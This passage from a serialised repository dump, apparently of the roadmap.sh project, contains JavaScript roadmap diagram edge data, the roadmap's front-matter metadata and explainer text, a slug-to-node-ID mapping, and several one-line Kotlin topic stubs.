\"itS6B12I8I1KNCPvc0KCQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ISNzEYtrWe2v0R7Xfl5k-z2-itS6B12I8I1KNCPvc0KCQy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3E5MuxPvEJU-dwgTrbQAR\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fm2CuL1IZp3hnrLrPUX7Uy2-3E5MuxPvEJU-dwgTrbQARz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"azsXq6Y5iCvQDgTWZpWQ3\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fm2CuL1IZp3hnrLrPUX7Uy2-azsXq6Y5iCvQDgTWZpWQ3z2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qps2Mdm-lwa4Wr0IxKm0C\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fm2CuL1IZp3hnrLrPUX7Uy2-qps2Mdm-lwa4Wr0IxKm0Cz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JVbEBtVrTTFnTF3_yUIAC\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fm2CuL1IZp3hnrLrPUX7Uy2-JVbEBtVrTTFnTF3_yUIACz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"P0190rTm2wLQmCzWOKour\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fm2CuL1IZp3hnrLrPUX7Uy2-P0190rTm2wLQmCzWOKourz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fm2CuL1IZp3hnrLrPUX7U\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"sFOqx6_7poVIVuXhJVY0E\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fm2CuL1IZp3hnrLrPUX7Uz2-sFOqx6_7poVIVuXhJVY0Ey1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PJSdqvh5OBwPCNpn3q_S5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"D8oGY7pdviRByaz6c9sU6\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-PJSdqvh5OBwPCNpn3q_S5x2-D8oGY7pdviRByaz6c9sU6w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yXSF5gGST7l2X-4z1g0d_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Dn872mgexmxoLtbkIgIgz\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yXSF5gGST7l2X-4z1g0d_x2-Dn872mgexmxoLtbkIgIgzw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sFOqx6_7poVIVuXhJVY0E\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"D8oGY7pdviRByaz6c9sU6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sFOqx6_7poVIVuXhJVY0Ez2-D8oGY7pdviRByaz6c9sU6y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sFOqx6_7poVIVuXhJVY0E\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yXSF5gGST7l2X-4z1g0d_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sFOqx6_7poVIVuXhJVY0Ez2-yXSF5gGST7l2X-4z1g0d_y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q6vciQb_Jk-Up16Pk5NeE\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"F_Lrj0F7UXriqJ0mhwxCy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-q6vciQb_Jk-Up16Pk5NeEy2-F_Lrj0F7UXriqJ0mhwxCyz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F_Lrj0F7UXriqJ0mhwxCy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TZ8XGdykSJjKBjX6Nivwo\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-F_Lrj0F7UXriqJ0mhwxCyy2-TZ8XGdykSJjKBjX6Nivwoz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TZ8XGdykSJjKBjX6Nivwo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hLnJlwnECFbVMeFpH0M5Q\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-TZ8XGdykSJjKBjX6Nivwoy2-hLnJlwnECFbVMeFpH0M5Qz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hLnJlwnECFbVMeFpH0M5Q\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"jLNmYeo20Mbu4WRvVgvwU\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hLnJlwnECFbVMeFpH0M5Qw2-jLNmYeo20Mbu4WRvVgvwUx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hLnJlwnECFbVMeFpH0M5Q\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"MatU4SthAAhByJ40XdZQn\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hLnJlwnECFbVMeFpH0M5Qx2-MatU4SthAAhByJ40XdZQnw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q6vciQb_Jk-Up16Pk5NeE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kL5rfWxXe4J44ENru1uJS\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-q6vciQb_Jk-Up16Pk5NeEz2-kL5rfWxXe4J44ENru1uJSx1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MatU4SthAAhByJ40XdZQn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ZR2WfH1cerA-V_kaPwRvm\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MatU4SthAAhByJ40XdZQnx2-KKyX8N4lTgN0w-Khm6Ztqw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MatU4SthAAhByJ40XdZQn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rc5WzBBOm2cus-rQl8EOE\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-MatU4SthAAhByJ40XdZQnz2-rc5WzBBOm2cus-rQl8EOEy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rc5WzBBOm2cus-rQl8EOE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"dhEtcgv7G9fNV-AUNJdWk\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rc5WzBBOm2cus-rQl8EOEz2-dhEtcgv7G9fNV-AUNJdWky1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rc5WzBBOm2cus-rQl8EOE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BA_ArmZMnVMaL_zl3W3Pt\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rc5WzBBOm2cus-rQl8EOEz2-BA_ArmZMnVMaL_zl3W3Pty1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rc5WzBBOm2cus-rQl8EOE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ECxISKUAU7js_JsfSHzud\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rc5WzBBOm2cus-rQl8EOEz2-ECxISKUAU7js_JsfSHzudy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rc5WzBBOm2cus-rQl8EOE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rc5WzBBOm2cus-rQl8EOEx2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/javascript/javascript.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/javascript.json'\npdfUrl: '/pdfs/roadmaps/javascript.pdf'\nrenderer: 'editor'\norder: 5\nbriefTitle: 'JavaScript'\nbriefDescription: 'Step by step guide to learn JavaScript in 2025'\ntitle: 'JavaScript Roadmap'\ndescription: 'Step by step guide to learn JavaScript in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2550\nschema:\n  headline: 'JavaScript Roadmap'\n  description: 'Learn JavaScript with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/javascript.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nquestion:\n  title: 'What is JavaScript?'\n  description: |\n    JavaScript is a very flexible and versatile programming language, considered as a core technology for web development. This is because it is the only language natively supported by all browsers, allowing developers to add dynamic behavior and create complex user experiences with this language. \n    \n    Because of its flexibility and portability, JavaScript is also widely used for back-end development (thanks to runtimes such as Node.js, Bun, and Deno) and even server-side scripting (for automation and for creating developer tools).\n    \n    ## What does a JavaScript developer do?\n    \n    A JavaScript developer writes and maintains code to build interactive web applications, back-end logic (usually RESTful APIs), or some automation work. \n    \n    If they're focused on front-end development, their work usually involves designing dynamic user interfaces and integrating them with REST APIs (usually) to connect with back-end systems.\n    \n    If, on the other hand, they're focused on back-end development, then most likely, they're spending most of their time developing APIs using a back-end framework like NextJS.\nseo:\n  title: 'JavaScript Developer Roadmap: Step by step guide to learn JavaScript'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for javascript development. Learn to become a modern JavaScript developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'javascript guide 2024'\n    - 'javascript guide 2025'\n    - 'learn javascript'\n    - 'step by step javascript guide'\n    - 'javascript roadmap 2024'\n    - 'javascript roadmap 2025'\n    - 'javascript developer roadmap 2024'\n    - 'javascript developer roadmap 2025'\n    - 'guide to becoming a javascript developer'\n    - 'javascript developer roadmap'\n    - 'javascript roadmap'\n    - 'become javascript developer'\n    - 'javascript developer skills'\n    - 'javascript skills test'\n    - 'skills for javascript development'\n    - 'learn javascript development'\n    - 'what is javascript'\n    - 'javascript quiz'\n    - 'javascript interview questions'\nrelatedRoadmaps:\n  - 'nodejs'\n  - 'typescript'\n  - 'frontend'\n  - 'backend'\n  - 'react'\n  - 'angular'\n  - 'vue'\nrelatedQuestions:\n  - 'javascript'\n  - 'react'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/javascript/migration-mapping.json",
    "content": "{\n  \"javascript-introduction\": \"6khAD6mzZ9S96JJuC5_j6\",\n  \"javascript-variables\": \"kvActjpU4FUJdrmuFoFEe\",\n  \"javascript-introduction:what-is-javascript\": \"UBB-8hUcwo4Mfd0cmEcdA\",\n  \"javascript-introduction:history-of-javascript\": \"l-GKzcsBNA0r6Jax8hwnP\",\n  \"javascript-introduction:javascript-versions\": \"SFPsWnVpZBAw3_re7op4h\",\n  \"javascript-introduction:how-to-run-javascript\": \"uXsWIUUxtc4H_iRx3uZv0\",\n  \"javascript-variables:hoisting\": \"Lb5jLF91WO5V5CWpifciW\",\n  \"javascript-variables:variable-declarations\": \"BqbAWt--Guqex-rrb4ZUv\",\n  \"javascript-variables:naming-rules\": \"HfieG3v3wnmpZDfNwEJvZ\",\n  \"javascript-variables:scopes\": \"7iMJuaB7yKlSIbT4dBe5L\",\n  \"javascript-variables:scopes:block\": \"uqEzHYx13Y2EpvTTRzykn\",\n  \"javascript-variables:scopes:function\": \"YMT7O6lrMSMtNo0EnmsnQ\",\n  \"javascript-variables:scopes:global\": \"oC4o6GLEES_nUgCJu9Q6I\",\n  \"javascript-variables:variable-declarations:var\": \"JSjeM8qnBg4onXq9mn5gB\",\n  \"javascript-variables:variable-declarations:let\": \"kDRa9G3pMp0Cb0mqYUawM\",\n  \"javascript-variables:variable-declarations:const\": \"q85z6x1Lc-yLWepwtIT2_\",\n  \"javascript-datatypes\": \"-jbPPuEXacBR0d0CWPHgd\",\n  \"javascript-datatypes:primitive-types\": \"1RcwBHU3jzx0YxxUGZic4\",\n  \"javascript-datatypes:object:prototypal-inheritance\": \"Xge6eru1hRGobnOEHLZqv\",\n  \"javascript-datatypes:object:prototype\": \"0I6dJE0ygXPGjeRAe8AtT\",\n  \"javascript-datatypes:object\": \"xe8HZ8Mt1fK8yJMcDPYHJ\",\n  \"javascript-datatypes:typeof-operator\": \"RRACLQ6-aopkxImIp3Toc\",\n  \"javascript-datatypes:object:builtin-objects\": \"D95ndkkwmT5X_HqboEn6E\",\n  \"javascript-type-casting\": \"XPmBieVCXvL3WbWkYRoKr\",\n  \"javascript-type-casting:type-conversion-coercion\": \"_Bo2YZqZ_gY35SLPML4T6\",\n  \"javascript-type-casting:explicit-type-casting\": \"1xhjrRN-Rfekei2JwwU7Y\",\n  \"javascript-type-casting:implicit-type-casting\": \"pP42K_eH4RCdUdUS8BJlP\",\n  \"javascript-data-structures\": \"ADarwihuI2nBq1C3U7-Zr\",\n  \"javascript-data-structures:keyed-collections\": \"rhJrrqkRqy2Qw_he4SPGz\",\n  \"javascript-data-structures:keyed-collections:map\": \"Xc0jL4rafpI-ixIaAxo9O\",\n  \"javascript-data-structures:keyed-collections:weak-map\": \"6icsjC4aisDgPWasVuCOt\",\n  \"javascript-data-structures:keyed-collections:set\": \"sciU68E13mcfL577y6Vim\",\n  \"javascript-data-structures:keyed-collections:weak-set\": \"DSFzj61N9ojz29mjExhVa\",\n  \"javascript-data-structures:structured-data\": \"JwLGAuSOTyZ5BHSqeBDU6\",\n  \"javascript-data-structures:structured-data:json\": \"bFNvtHp97OzKnPJgr7WaH\",\n  \"javascript-data-structures:indexed-collections\": \"lBOGoHZrmnIRatvryDwTm\",\n  \"javascript-data-structures:indexed-collections:typed-arrays\": \"8X1mdQ3NDBVOZZWBbAFRE\",\n  \"javascript-data-structures:indexed-collections:arrays\": \"NZedBxG9B9TRVOf2QE2yL\",\n  \"javascript-equality-comparisons\": \"23Xa6q5VvRVlzc6Dx8vST\",\n  \"javascript-equality-comparisons:value-comparison-operators\": \"RonBj1htt6jnBt3W7zoTA\",\n  \"javascript-equality-comparisons:equality-algorithms:is-loosely-equal\": \"PLallt_T33W6bUEn0Hc3W\",\n  \"javascript-equality-comparisons:equality-algorithms:is-strictly-equal\": \"pcILon_Jjm2_XS10iUJ0E\",\n  \"javascript-equality-comparisons:equality-algorithms:same-value-zero\": \"fL3B2hkTgMb0oEwMiWJtK\",\n  \"javascript-loops-iterations\": \"YD-2l_amfqqqCdtc_Zdzo\",\n  \"javascript-loops-iterations:for-statement\": \"2M211rcaPSWbZ-sPoSEVR\",\n  \"javascript-loops-iterations:do-while-statement\": \"57lO_3uxJaWsFXS-0J1AK\",\n  \"javascript-loops-iterations:while-statement\": \"9-MpHmzK_IiCi6IcvAlGM\",\n  \"javascript-control-flow:conditional-statements:if-else\": \"ndbDXAx6bL4lZmpXv16Y_\",\n  \"javascript-control-flow:conditional-statements:switch\": \"H_QlcUlavKKfcNK8CYAvb\",\n  \"javascript-loops-iterations:for-in-statement\": \"cq3vvFZoNnAAZJ6oEBUwb\",\n  \"javascript-loops-iterations:for-of-statement\": \"FBz6h_AmTJBXoBN-a38a5\",\n  \"javascript-loops-iterations:break-continue\": \"4oHFzn7R7xLxfuLpsJjr-\",\n  \"javascript-control-flow\": \"3tckJ2Sci7z-sNx9jx9eF\",\n  \"javascript-control-flow:conditional-statements\": \"ttCsd2_H2SuRivCjGv1OX\",\n  \"javascript-control-flow:exception-handling\": \"34TKGxV9YziOWMh9rT_KE\",\n  \"javascript-control-flow:exception-handling:throw-statement\": \"ReGIniyLYl5hGExchrJd2\",\n  \"javascript-control-flow:exception-handling:try-catch-finally\": \"rbjEZe5vxCJ8reI1oZ-jf\",\n  \"javascript-control-flow:exception-handling:utilizing-error-objects\": \"-z-4VTaC3tOThqChgyoMs\",\n  \"javascript-expressions-and-operators\": \"_6vZa43gWjxO2OcD1iCCQ\",\n  \"javascript-expressions-and-operators:assignment-operators\": \"IvBtUzIGnkgGXrJjqmjf4\",\n  \"javascript-expressions-and-operators:omparison-operators\": \"-v4_V4UuoZSgUk2sqOCim\",\n  \"javascript-expressions-and-operators:arithmetic-operators\": \"0PK1NwlgkNe2Vf-We4uLH\",\n  \"javascript-expressions-and-operators:bitwise-operators\": \"ghjNJW67Wj5L5QK46xwL-\",\n  \"javascript-expressions-and-operators:logical-operators\": \"bo4SvzU4BrPl3c99zW7Y5\",\n  \"javascript-expressions-and-operators:bigint-operators\": \"udoz0DZi7f-vm30dSnYKu\",\n  \"javascript-expressions-and-operators:string-operators\": \"c38b6t5f17Zg2O2yg3eFP\",\n  \"javascript-expressions-and-operators:conditional-operators\": \"640mk-m5mB90Mme-7jcXV\",\n  \"javascript-expressions-and-operators:comma-operators\": \"6_8EwyZY2jBkZr7xnfRY3\",\n  \"javascript-expressions-and-operators:unary-operators\": \"k9rSR-YQ8B_iRcXNm2btP\",\n  \"javascript-expressions-and-operators:relational-operators\": \"BbrrliATuH9beTypRaFey\",\n  \"javascript-functions\": \"k8bJH9qydZm8I9rhH7rXw\",\n  \"javascript-functions:function-parameters\": \"R1D4fsZliHv7wIo8Tj-kp\",\n  \"javascript-functions:arrow-functions\": \"fr0NChxMXLpJizyMhXcXS\",\n  \"javascript-functions:function-parameters:default-params\": \"8X8mRl-puL0Lp43dO5mha\",\n  \"javascript-functions:function-parameters:rest-params\": \"-_6q0bIjQrvAaCWrVkASO\",\n  \"javascript-functions:iifes\": \"YZlCoPvZuX5MmpLOTj5d4\",\n  \"javascript-functions:arguments-object\": \"QLC7bW-qHskLH2HOA-Sko\",\n  \"javascript-functions:scope-and-function-stack\": \"ISNzEYtrWe2v0R7Xfl5k-\",\n  \"javascript-functions:built-in-functions\": \"s8wUJivWmetysJ8bt9FBC\",\n  \"javascript-functions:scope-and-function-stack:recursion\": \"YJGhhFuWmFvhRKOg6nwON\",\n  \"javascript-functions:scope-and-function-stack:lexical-scoping\": \"q7b5iMJ1Lfka5A-K-YcaN\",\n  \"javascript-functions:scope-and-function-stack:closures\": \"itS6B12I8I1KNCPvc0KCQ\",\n  \"javascript-strict-mode\": \"Xw8lb0xCWKmNs4KZfhBUy\",\n  \"javascript-this-keyword\": \"fm2CuL1IZp3hnrLrPUX7U\",\n  \"javascript-this-keyword:function-borrowing\": \"EAN6DCiCfSq04R4vKgZ0q\",\n  \"javascript-this-keyword:explicit-binding\": \"p2NhSwPYMtRiPRHjPaqmX\",\n  \"javascript-this-keyword:this-in-a-method\": \"3E5MuxPvEJU-dwgTrbQAR\",\n  \"javascript-this-keyword:this-in-a-function\": \"azsXq6Y5iCvQDgTWZpWQ3\",\n  \"javascript-this-keyword:using-this-alone\": \"qps2Mdm-lwa4Wr0IxKm0C\",\n  \"javascript-this-keyword:this-in-event-handlers\": \"JVbEBtVrTTFnTF3_yUIAC\",\n  \"javascript-this-keyword:this-in-arrow-functions\": \"P0190rTm2wLQmCzWOKour\",\n  \"javascript-asynchronous-javascript\": \"sFOqx6_7poVIVuXhJVY0E\",\n  \"javascript-asynchronous-javascript:event-loop\": \"_bs5NNHVdHLWGBmpYwHMi\",\n  \"javascript-asynchronous-javascript:set-timeout\": \"wXypuqEmFLIubx-QQvDIr\",\n  \"javascript-asynchronous-javascript:set-interval\": \"jaC3XXudd7OBKwwCpoPFf\",\n  \"javascript-asynchronous-javascript:callbacks\": \"D8oGY7pdviRByaz6c9sU6\",\n  \"javascript-asynchronous-javascript:callbacks:callback-hell\": \"PJSdqvh5OBwPCNpn3q_S5\",\n  \"javascript-asynchronous-javascript:promises\": \"yXSF5gGST7l2X-4z1g0d_\",\n  \"javascript-asynchronous-javascript:promises:async-await\": \"Dn872mgexmxoLtbkIgIgz\",\n  \"working-with-apis\": \"q6vciQb_Jk-Up16Pk5NeE\",\n  \"working-with-apis:xml-http-request\": \"LiuhBE7dIlkoWkthSoCsa\",\n  \"working-with-apis:fetch\": \"kL5rfWxXe4J44ENru1uJS\",\n  \"javascript-iterators-and-generators\": \"TZ8XGdykSJjKBjX6Nivwo\",\n  \"javascript-classes\": \"F_Lrj0F7UXriqJ0mhwxCy\",\n  \"javascript-modules\": \"hLnJlwnECFbVMeFpH0M5Q\",\n  \"javascript-modules:commonjs\": \"4EXeGkOpfAViB9Uo4zL6O\",\n  \"javascript-modules:esm\": \"jLNmYeo20Mbu4WRvVgvwU\",\n  \"javascript-memory-management\": \"MatU4SthAAhByJ40XdZQn\",\n  \"javascript-memory-management:memory-lifecycle\": \"ZR2WfH1cerA-V_kaPwRvm\",\n  \"javascript-memory-management:garbage-collection\": \"KKyX8N4lTgN0w-Khm6Ztq\",\n  \"javascript-chrome-dev-tools\": \"rc5WzBBOm2cus-rQl8EOE\",\n  \"javascript-chrome-dev-tools:debugging-issues\": \"dhEtcgv7G9fNV-AUNJdWk\",\n  \"javascript-chrome-dev-tools:debugging-memory-leaks\": \"BA_ArmZMnVMaL_zl3W3Pt\",\n  \"javascript-chrome-dev-tools:debugging-performance\": \"ECxISKUAU7js_JsfSHzud\"\n}"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/abstract-class@8jkUleKbxXSxPHbeFUTGK.md",
    "content": "# Abstract Class"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/aggregate-operations@nRpmP5Nd2r4YKRNsmoscJ.md",
    "content": "# Aggregate Operations"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/ai-development@RSufL2bzKXZhz9M98oGTA.md",
    "content": "# AI Development"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/android-jetpack@3bzq_ZWCVoe3KiKJPTLGR.md",
    "content": "# Android Jetpack"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/android-sdk@xpALRb8KUT-i4Lj0EjI7o.md",
    "content": "# Android SDK"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/android-studio@SzGLbXgW6Z6UHPoTjI-pB.md",
    "content": "# Android Studio"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/android-studio@dBn3sAg2sey3zQNRwdMq2.md",
    "content": "# Android Studio"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/anonymous-functions@7BYTt5_wILzkbYmQW1Xny.md",
    "content": "# Anonymous Functions"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/arrays@eoV8P756JUNC87FhsA2DG.md",
    "content": "# Arrays"
  },
  {
    "path": "src/data/roadmaps/kotlin/content/asynchronous-flow@e6h0Xi4ReqLa6VJc1VJYG.md",
    "content": "# Asynchronous Flow"
  },
  {
